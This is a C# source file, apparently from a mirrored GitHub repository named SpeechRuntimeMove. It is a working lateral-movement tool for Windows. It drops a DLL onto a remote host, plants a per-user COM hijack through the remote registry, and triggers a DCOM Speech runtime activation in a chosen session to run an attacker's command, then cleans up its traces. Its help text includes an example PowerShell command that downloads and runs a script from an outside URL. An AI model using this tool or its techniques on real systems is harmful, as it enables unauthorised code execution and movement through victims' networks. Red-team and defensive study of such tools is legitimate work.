mirror of
https://github.com/rtecCyberSec/SpeechRuntimeMove
synced 2026-06-08 17:15:34 +00:00
297 lines
13 KiB
C#
297 lines
13 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
using static SpeechRuntimeMove.Definitions;
|
|
|
|
|
|
|
|
namespace SpeechRuntimeMove
|
|
{
|
|
static class Program
|
|
{
|
|
|
|
static void DisplayHelp()
|
|
{
|
|
Console.WriteLine("\nUsage:");
|
|
Console.WriteLine(" Enumeration: <Program> mode=enum target=<ip>");
|
|
Console.WriteLine(" Attack: <Program> mode=attack target=<ip> dllpath=<dllpath> targetuser=<targetuser> command=<command>");
|
|
Console.WriteLine("\nExample:");
|
|
Console.WriteLine(" <Program> mode=enum target=192.168.1.100");
|
|
Console.WriteLine(@" <Program> mode=attack target=192.168.1.100 dllpath=C:\windows\temp\evil.dll targetuser=domadm session=2 command=powershell.exe iex(new-object net.webclient).downloadstring('https://url.com/script.ps1')");
|
|
}
|
|
static void Main(string[] args)
|
|
{
|
|
Console.WriteLine(@"
|
|
|
|
_____ __ ____ __ _ __ ___
|
|
/ ___/____ ___ ___ _____/ /_ / __ \__ ______ / /_(_)___ ___ ___ / |/ /___ _ _____
|
|
\__ \/ __ \/ _ \/ _ \/ ___/ __ \/ /_/ / / / / __ \/ __/ / __ `__ \/ _ \/ /|_/ / __ \ | / / _ \
|
|
___/ / /_/ / __/ __/ /__/ / / / _, _/ /_/ / / / / /_/ / / / / / / __/ / / / /_/ / |/ / __/
|
|
/____/ .___/\___/\___/\___/_/ /_/_/ |_|\__,_/_/ /_/\__/_/_/ /_/ /_/\___/_/ /_/\____/|___/\___/
|
|
/_/
|
|
Lateral Movement via custom DCOM trigger
|
|
by @ShitSecure
|
|
");
|
|
|
|
string targetIP = null;
|
|
/*string username = null; custom user for execution removed for reasons
|
|
string password = null;
|
|
string domain = null;*/
|
|
string dllPath = null;
|
|
string targetUser = null;
|
|
string command = null;
|
|
string sessionstr = "1";
|
|
string mode = "attack"; // Default mode
|
|
|
|
// Parse named arguments
|
|
foreach (string arg in args)
|
|
{
|
|
if (arg.StartsWith("mode=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
mode = arg.Substring(5).ToLower();
|
|
}
|
|
else if (arg.StartsWith("target=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
targetIP = arg.Substring(7);
|
|
}
|
|
else if (arg.StartsWith("dllpath=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
dllPath = arg.Substring(8);
|
|
}
|
|
else if (arg.StartsWith("targetuser=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
targetUser = arg.Substring(11);
|
|
}
|
|
else if (arg.StartsWith("command=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
command = arg.Substring(8);
|
|
}
|
|
else if (arg.StartsWith("session=", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
sessionstr = arg.Substring(8);
|
|
}
|
|
}
|
|
|
|
// Display help if no arguments or missing required parameters
|
|
if (args.Length == 0 || targetIP == null)
|
|
{
|
|
DisplayHelp();
|
|
return;
|
|
}
|
|
|
|
// Execute based on mode
|
|
switch (mode)
|
|
{
|
|
case "enum":
|
|
Console.WriteLine($"[+] Enumerating sessions on {targetIP}...");
|
|
SpeechRuntimeMove.SessionEnum.enumerate(targetIP);
|
|
break;
|
|
|
|
case "attack":
|
|
if (dllPath == null || targetUser == null || command == null)
|
|
{
|
|
Console.WriteLine("[!] Error: Attack mode requires dllpath and targetuser as well as command parameters");
|
|
DisplayHelp();
|
|
return;
|
|
}
|
|
|
|
if (FileDrop.DropIt(targetIP, dllPath, command))
|
|
{
|
|
Console.WriteLine($"[+] DLL dropped successfully!");
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine($"[-] DLL dropping failed!");
|
|
//return;
|
|
}
|
|
|
|
Console.WriteLine($"[+] Attempting COM hijack on {targetIP} for user {targetUser}");
|
|
RemoteRegistry.WriteRegistryEntryForUser(targetIP, targetUser, dllPath);
|
|
|
|
if (RemoteRegistry.VerifyRegistryEntry(targetIP, targetUser, dllPath))
|
|
{
|
|
Console.WriteLine("[+] Target user COM Hijack is set!");
|
|
MoveIt.Execute(targetIP, "", "", "", "", sessionstr);
|
|
Thread.Sleep(5000);
|
|
|
|
// cleanup everything
|
|
RemoteRegistry.DeleteRegistryEntry(targetIP, targetUser);
|
|
if (!RemoteRegistry.VerifyRegistryEntry(targetIP, targetUser, dllPath))
|
|
{
|
|
Console.WriteLine("[+] Target user COM Hijack is removed!");
|
|
}
|
|
RemoteRegistry.DisableRemoteRegistryViaWMI(targetIP);
|
|
FileDrop.RemoveFile(targetIP, dllPath);
|
|
}
|
|
|
|
break;
|
|
|
|
default:
|
|
Console.WriteLine($"[!] Unknown mode: {mode}");
|
|
DisplayHelp();
|
|
break;
|
|
}
|
|
|
|
|
|
// Ensure that if username, password, and domain are provided, they are valid
|
|
/*if (username != null && password != null && domain != null)
|
|
{
|
|
Server.Execute(targetIP, null, username, password, domain);
|
|
}*/
|
|
|
|
|
|
}
|
|
}
|
|
|
|
static class MoveIt
|
|
{
|
|
|
|
// Speech Named Pipe COM CLSID
|
|
public static Guid clsid = new Guid("38FE8DFE-B129-452B-A215-119382B89E3D");
|
|
public static IntPtr clsid_ptr = SpeechRuntimeMove.Definitions.GuidToPointer(clsid);
|
|
|
|
public static void Execute(string targetIP, string path, string username, string password, string domain, string sessionstr)
|
|
{
|
|
|
|
|
|
IntPtr pAuthIdentity = IntPtr.Zero;
|
|
IntPtr pAuthInfo = IntPtr.Zero;
|
|
IntPtr pIID = IntPtr.Zero;
|
|
SpeechRuntimeMove.Definitions.COSERVERINFO serverInfoPtr = new SpeechRuntimeMove.Definitions.COSERVERINFO();
|
|
|
|
try
|
|
{
|
|
|
|
if (username == "")
|
|
{
|
|
COAUTHINFO authInfo = new COAUTHINFO();
|
|
InitAuthStructs(ref authInfo);
|
|
pAuthInfo = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHINFO)));
|
|
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
|
|
}
|
|
else
|
|
{
|
|
|
|
|
|
SpeechRuntimeMove.Definitions.COAUTHIDENTITY authIdentity = new SpeechRuntimeMove.Definitions.COAUTHIDENTITY
|
|
{
|
|
User = username,
|
|
Domain = domain,
|
|
Password = password,
|
|
UserLength = (uint)username.Length,
|
|
DomainLength = (uint)domain.Length,
|
|
PasswordLength = (uint)password.Length,
|
|
Flags = 2 // SEC_WINNT_AUTH_IDENTITY_UNICODE
|
|
};
|
|
|
|
// Allocate and marshal authentication identity
|
|
pAuthIdentity = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHIDENTITY)));
|
|
Marshal.StructureToPtr(authIdentity, pAuthIdentity, false);
|
|
|
|
// Create authentication info
|
|
COAUTHINFO authInfo = new COAUTHINFO
|
|
{
|
|
dwAuthnSvc = RPC_C_AUTHN_WINNT,
|
|
dwAuthzSvc = RPC_C_AUTHZ_NONE,
|
|
pwszServerPrincName = IntPtr.Zero,
|
|
dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE,
|
|
pAuthIdentityData = pAuthIdentity,
|
|
dwCapabilities = EOAC_NONE
|
|
};
|
|
|
|
// Allocate and marshal authentication info
|
|
pAuthInfo = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHINFO)));
|
|
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
|
|
}
|
|
|
|
serverInfoPtr.pAuthInfo = pAuthInfo;
|
|
serverInfoPtr.pwszName = targetIP;
|
|
|
|
|
|
SpeechRuntimeMove.Definitions.MULTI_QI[] qis = new SpeechRuntimeMove.Definitions.MULTI_QI[1];
|
|
|
|
|
|
if (!uint.TryParse(sessionstr, out uint session))
|
|
{
|
|
Console.WriteLine("[-] Invalid Session id");
|
|
return;
|
|
}
|
|
|
|
|
|
Console.WriteLine("[*] Registering...");
|
|
var ba = GetMarshalledObject(new object());
|
|
COMObjRefStandard std = (COMObjRefStandard)COMObjRef.FromArray(ba);
|
|
Debug.WriteLine($"[*] IPID: {std.Ipid}");
|
|
Debug.WriteLine($"[!] OXID: {std.Oxid:X08}");
|
|
Debug.WriteLine($"[!] OID : {std.Oid:X08}");
|
|
Console.WriteLine("[+] Register success");
|
|
|
|
std.StringBindings.Clear();
|
|
Debug.WriteLine($"[!] Adding {"empty hostname"} to OBJREF");
|
|
// What about? RpcTowerId.NetbiosTcp....
|
|
// UPD: Firewall....
|
|
std.StringBindings.Add(new COMStringBinding(RpcTowerId.Tcp, ""));
|
|
Debug.WriteLine($"[?] OBJREF: {std.ToMoniker()}");
|
|
|
|
RpcServerUseProtseqEp("ncacn_ip_tcp", 20, "135", IntPtr.Zero);
|
|
RpcServerRegisterAuthInfo(null, 16, IntPtr.Zero, IntPtr.Zero);
|
|
|
|
|
|
int result;
|
|
result = CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
|
|
result = StgCreateDocfileOnILockBytes(lockBytes, SpeechRuntimeMove.Definitions.STGM.CREATE | SpeechRuntimeMove.Definitions.STGM.READWRITE | SpeechRuntimeMove.Definitions.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
|
|
|
|
// we could trigger authentication here to a remote host, but we dont need this as we execute code instead :-P
|
|
var storageTrigger = new SpeechRuntimeMove.Definitions.StorageTrigger(storage, "", SpeechRuntimeMove.Definitions.TowerProtocol.EPM_PROTOCOL_TCP, std);
|
|
|
|
// IID of ISpeechNamedPipe
|
|
Guid iid = new Guid("67C43788-DFDE-464E-BAA1-5AFA424895FD");
|
|
IntPtr iid_ptr = SpeechRuntimeMove.Definitions.GuidToPointer(iid);
|
|
qis[0] = new SpeechRuntimeMove.Definitions.MULTI_QI();
|
|
qis[0].pIID = iid_ptr;
|
|
|
|
var pComAct = (SpeechRuntimeMove.Definitions.IStandardActivator)new SpeechRuntimeMove.Definitions.StandardActivator();
|
|
var CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}");
|
|
var IID_IStandardActivator = typeof(SpeechRuntimeMove.Definitions.IStandardActivator).GUID;
|
|
|
|
var ht = CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref IID_IStandardActivator, out object instance);
|
|
|
|
if (ht != 0)
|
|
{
|
|
Console.WriteLine($"[-] CoCreateInstance failed with HRESULT: 0x{ht:X}");
|
|
throw new COMException("[-] CoCreateInstance failed");
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("[+] CoCreateInstance succeeded!");
|
|
}
|
|
pComAct = (SpeechRuntimeMove.Definitions.IStandardActivator)instance;
|
|
var props = (SpeechRuntimeMove.Definitions.ISpecialSystemPropertiesActivator)pComAct;
|
|
|
|
Console.WriteLine($"[*] Targetting session {session}");
|
|
props.SetSessionId((int)session, 0, 1);
|
|
|
|
try
|
|
{
|
|
result = pComAct.StandardGetInstanceFromIStorage(serverInfoPtr, clsid, IntPtr.Zero, SpeechRuntimeMove.Definitions.CLSCTX.CLSCTX_REMOTE_SERVER, storageTrigger, 1, qis);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
//Console.WriteLine("[!] Done");
|
|
//Console.WriteLine(e);
|
|
}
|
|
Console.WriteLine("[*] Done");
|
|
|
|
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Console.WriteLine("[-] Error while calling remote COM object:");
|
|
Console.WriteLine(e);
|
|
}
|
|
}
|
|
}
|
|
}
|